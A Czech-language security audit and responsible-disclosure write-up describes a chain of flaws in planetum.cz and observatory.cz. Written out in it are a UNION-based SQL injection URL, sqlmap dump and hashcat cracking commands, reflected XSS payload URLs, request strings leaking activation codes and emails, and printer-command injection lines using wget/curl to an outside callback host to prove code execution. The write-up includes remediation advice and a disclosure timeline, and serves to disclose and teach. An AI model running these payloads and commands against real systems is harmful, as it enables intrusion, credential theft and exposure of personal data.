TL;DR
Bezpečnostní audit odhalil zvenčí dosažitelnou cestu útoku, která neautentizovanému útočníkovi umožnila postupně získávat a stupňovat přístup, což nakonec vedlo k administrátorské kontrole nad planetum.cz a ke vzdálenému spuštění kódu (RCE).
Shrnutí
Během bezpečnostního auditu webu planetum.cz byl identifikován řetězec zranitelností, který neautentizovanému útočníkovi umožnil plně kompromitovat administrátorskou část a dosáhnout vzdáleného spuštění kódu (RCE). Cesta začala SQL injekcí na observatory.cz, která odhalila uživatelské přihlašovací údaje uložené jako nesolené MD5 hashe — ty byly znovu použity k získání přístupu do administrátorského rozhraní carina.planetum.cz, čímž byla vystavena citlivá provozní a obchodní data včetně:
- plateb, faktur, cen, objednávek a voucherů
- sálů, událostí, sedadel a rezervací
- pokladen, tiskáren a technického vybavení
- zaměstnaneckých účtů, rolí a směn
- osobních údajů návštěvníků — e-mailů, telefonních čísel, nákupních košíků
- prodejních reportů, e-mailové komunikace, vstupenek a přístupu k databázi
Následně bylo přes chybně nakonfigurované příkazové rozhraní tiskárny potvrzeno vzdálené spuštění kódu na hostitelském systému.
Všechny nálezy byly zodpovědně nahlášeny. Provozovatel reagoval týž den a potvrdil úplnou nápravu do pěti týdnů.
Řetězec útoku
Jediná zranitelnost typu SQL injekce na observatory.cz posloužila jako vstupní bod pro vícestupňový řetězec útoku, který nakonec vedl k úplné kompromitaci administrace a ke vzdálenému spuštění kódu.

SQL injekce
Doména observatory.cz byla shledána zranitelnou vůči SQL injekci, což poukazuje na nedostatečnou validaci vstupu na straně serveru. Uvažujme například tuto URL:
https://www.observatory.cz/porady.php?abbr=CHM
což vede k:

Přidání ukončovacího znaku učiní původní SELECT neplatným a vyvolá syntaktickou chybu, která se někdy vrací do prohlížeče — tomu se říká Error-Based (In-Band) injekce.
V tomto případě se databázová chyba nevrací; funguje však technika Union-Based (In-Band). Příkaz UNION fakticky spojí výsledky původního SELECT napevno zapsaného ve webové aplikaci s novým, vloženým.
https://www.observatory.cz/porady.php?abbr=' UNION ALL SELECT NULL,concat(user(),'<br>',database(),'<br>',version()),NULL,NULL,'5','6','7','8','9',NULL,NULL-- -
což vede k:

MySQL 4.1.22-log
Backend běží na MySQL 4.1.22-log (vydáno 2006), které neobsahuje information_schema. Výčet tabulek a sloupců je i tak možný pomocí alternativních technik.
proxychains4 sqlmap -p abbr --batch -u https://www.observatory.cz/porady.php?abbr=CHM --dbms=mysql --technique=B -D vela --common-tables
Database: vela
[5 tables]
+----------+
| events |
| log |
| program |
| services |
| users |
+----------+
Jakmile jsou databáze, tabulky a sloupce identifikovány, je možná cílená extrakce dat.
proxychains4 sqlmap -p abbr --batch -u https://www.observatory.cz/porady.php?abbr=CHM --dbms=mysql -D vela -T users --dump --sql-query='SELECT name,login,password FROM vela.users;'
Únik přihlašovacích údajů (slabé hashování hesel)
Získané hashe hesel používají nesolené MD5, které již není považováno za bezpečné pro ukládání hesel. Moderní hardware dokáže spočítat stovky miliard iterací za sekundu, což činí MD5 zranitelným vůči rychlému brute-force a slovníkovým útokům.
hashcat -w 3 -O -m 0 -a 3 --username hash.md5 -i --increment-min=1 --increment-max=8 "?a?a?a?a?a?a?a?a"
hashcat -w 3 -O -m 0 -a 0 --username hash.md5 --wordlist passwords.dic
MD5 může být stále vhodné pro fingerprinting nebo kontrolní součty, ale pro ochranu hesel se nedoporučuje kvůli své slabosti vůči současným metodám útoku.
Laterální pohyb (znovupoužití údajů napříč doménami)
DNS průzkum naznačil, že doména www.observatory.cz je spojena s infrastrukturou související s planetum.cz. Další DNS enumerace identifikovala několik subdomén, které byly veřejně přístupné z internetu. Přihlašovací údaje získané ze související domény byly úspěšně použity k autentizaci do administrátorského rozhraní na carina.planetum.cz.
observatory.cz -> carina.planetum.cz
Neoprávněný administrátorský přístup
Úspěšná autentizace do administrátorského rozhraní poskytla přístup k vysoce citlivé provozní a obchodní funkcionalitě, včetně systémové konfigurace, správy uživatelů, transakčních procesů a osobních údajů klientů.

V administraci bylo možné prohlížet a spravovat:
- platby, faktury, ceny, objednávky, vouchery, …
- sály / objekty, události, sedadla, rezervace, …
- pokladny, tiskárny, další technické vybavení, …
- účty / role zaměstnanců, směny, …
- informace o návštěvnících jako e-mail, telefonní číslo, nákupní košík, …
- prodejní reporty, e-mailovou komunikaci, databázi, vstupenky, …
- a další
Vzdálené spuštění kódu
S administrátorským přístupem získaným v předchozí fázi byla jako vysoce riziková oblast identifikována funkcionalita „Konfigurace tiskárny". Úpravou existující definice příkazu, jak je uvedeno níže, bylo potvrzeno vzdálené spuštění kódu:
(wget -qO /dev/null http://0ghqze8qso7zfphoiypkk4itekkb83ws.oastify.com/wget 2>/dev/null || true); lp -d Epson {{file}}
# or
(curl --silent http://0ghqze8qso7zfphoiypkk4itekkb83ws.oastify.com/curl > /dev/null 2>&1 || true); lp -d Epson {{file}}
To vede k DNS lookup požadavku:

a k HTTP požadavku:

⚠️ Vzdálené spuštění kódu bylo potvrzeno.
Další zranitelnosti
Únik aktivačního kódu kvůli chybnému ošetření validace
Během procesu registrace a aktivace účtu je uživateli e-mailem zaslán aktivační kód. Při odeslání neplatného aktivačního kódu aplikace v odpovědi serveru prozradí správný aktivační kód. To útočníkovi, který zná e-mailovou adresu uživatele, umožňuje:
- získat platné aktivační kódy
- obejít zamýšlený aktivační proces
- iterovat aktivační kódy pro další uživatele, včetně již aktivovaných účtů
Problém byl potvrzen následujícím požadavkem:
GET /?action=approve&mail=rozehnal%40planetum.cz&code=invalid-code HTTP/1.1
Host: rocenka.observatory.cz
což vede k:

Neautentizovaná enumerace e-mailů přes parametr ID
Byl identifikován neautentizovaný endpoint, který umožňuje enumeraci e-mailových adres spojených s nedokončenými registracemi uživatelů. Dodáním číselného identifikátoru přes parametr id aplikace v odpovědi serveru prozradí odpovídající e-mailovou adresu.
Problém byl potvrzen následujícím požadavkem:
GET /?action=remail&id=77 HTTP/1.1
Host: rocenka.observatory.cz
což vede k úniku e-mailové adresy a k odeslání nevyžádaného e-mailu:

XSS na rocenka.observatory.cz
Na rocenka.observatory.cz byla identifikována reflected Cross-Site Scripting (XSS) zranitelnost. Vstup pod kontrolou uživatele je odražen do HTTP odpovědi bez řádného enkódování výstupu, což umožňuje spuštění libovolného JavaScriptu v kontextu dotčené domény.
Problém byl potvrzen na následujících URL:
https://rocenka.observatory.cz/index.php?issue=2025&action=%3Cscript%3Ealert(1)%3C/script%3E&getback=1
https://rocenka.observatory.cz/?action=%3Cscript%3Ealert(1)%3C/script%3E
https://rocenka.observatory.cz/?action=approve&mail=yfomnvoboeflvylgph%40nespj.com&code=93d082fcdf3fc435c641485693e8db6c<script>alert(1)</script>
Útočník by mohl této zranitelnosti využít ke spuštění škodlivých skriptů v prohlížeči oběti, což může vést k únosu relace, neoprávněným akcím nebo úniku dat.
Závěr
Vzdálené spuštění kódu (RCE) je závažná bezpečnostní zranitelnost, která útočníkovi umožňuje spustit libovolný kód na vzdáleném systému bez oprávnění. To může vést k úplné kompromitaci systému, krádeži dat nebo instalaci malwaru, což z něj činí kritický problém s významným bezpečnostním dopadem.
Doporučení
SQL injekce
- Zaveďte řádnou validaci vstupu na straně serveru.
- Používejte parametrizované dotazy (prepared statements) pro všechny interakce s databází.
Únik přihlašovacích údajů
- Považujte všechny dotčené přihlašovací údaje za kompromitované a vynuťte reset hesla.
- Používejte moderní, adaptivní hashovací algoritmy pro hesla s řádným solením (např. bcrypt, Argon2).
- Vyhněte se rychlým, obecným hashovacím funkcím (jako MD5) pro ukládání hesel.
Laterální pohyb
- Zvažte, zda interní nebo administrátorské systémy (např. carina.planetum.cz) musí být veřejně přístupné.
- Zaveďte ochranu proti automatizovaným pokusům o autentizaci (např. rate limiting nebo ochranu proti brute-force).
- Vynuťte vícefaktorovou autentizaci, minimálně pro privilegované nebo administrátorské účty.
- Zpřísněte politiku hesel, abyste snížili riziko znovupoužití a uhádnutí údajů.
Neoprávněný administrátorský přístup
- Vynuťte vícefaktorovou autentizaci pro všechny administrátorské a privilegované účty.
- Aplikujte další přístupová omezení na administrátorská rozhraní (např. síťová omezení nebo IP allowlisting).
- Zpřísněte požadavky na politiku hesel pro administrátorské účty.
- Zajistěte dostatečné logování a monitoring administrátorské autentizace a akcí.
Vzdálené spuštění kódu
- Vyhněte se spouštění přímých příkazů operačního systému z konfigurace na úrovni aplikace.
- Oddělte tisk a podobnou systémovou funkcionalitu od hlavního kontextu aplikace.
- Aplikujte striktní allowlisting na jakékoli potřebné systémové příkazy a parametry.
- Provozujte služby spouštějící příkazy na úrovni OS s minimálními oprávněními.
- Zaveďte další monitoring a upozorňování na spuštění systémových operací.
security.txt
Dobrou praxí je zveřejnit soubor security.txt v souladu s RFC 9116. Soubor patří na kanonickou cestu /.well-known/security.txt. Je to malý, jednoduchý textový soubor, který etickým výzkumníkům sděluje, jak bezpečně nahlásit případné nálezy. Několik příkladů pro inspiraci:
Časová osa zveřejnění
Protože planetum.cz nezveřejňuje soubor security.txt, nalezení správného kontaktu vyžadovalo ruční průzkum. První oslovení proběhlo e-mailem; po žádné odpovědi byl kontakt úspěšně navázán telefonicky.

2. prosince 2025 - požádáno o svolení ředitele planetum.cz k provedení bezpečnostního testování9. prosince 2025 - testování schváleno odpovědným technikem14. prosince 2025 - report zaslán IT oddělení přes zabezpečený kanál18. prosince 2025 - odpovědný pracovník reagoval7. ledna 2026 - osobní schůzka v kanceláři planetum (vysvětlení, doporučení)20. ledna 2026 - náprava potvrzena odpovědným technikem20. ledna 2026 - článek publikován
Odměna
IT oddělení planetum.cz dobrovolně nabídlo finanční odměnu jako uznání za zodpovědné nahlášení. Nabídka byla odmítnuta.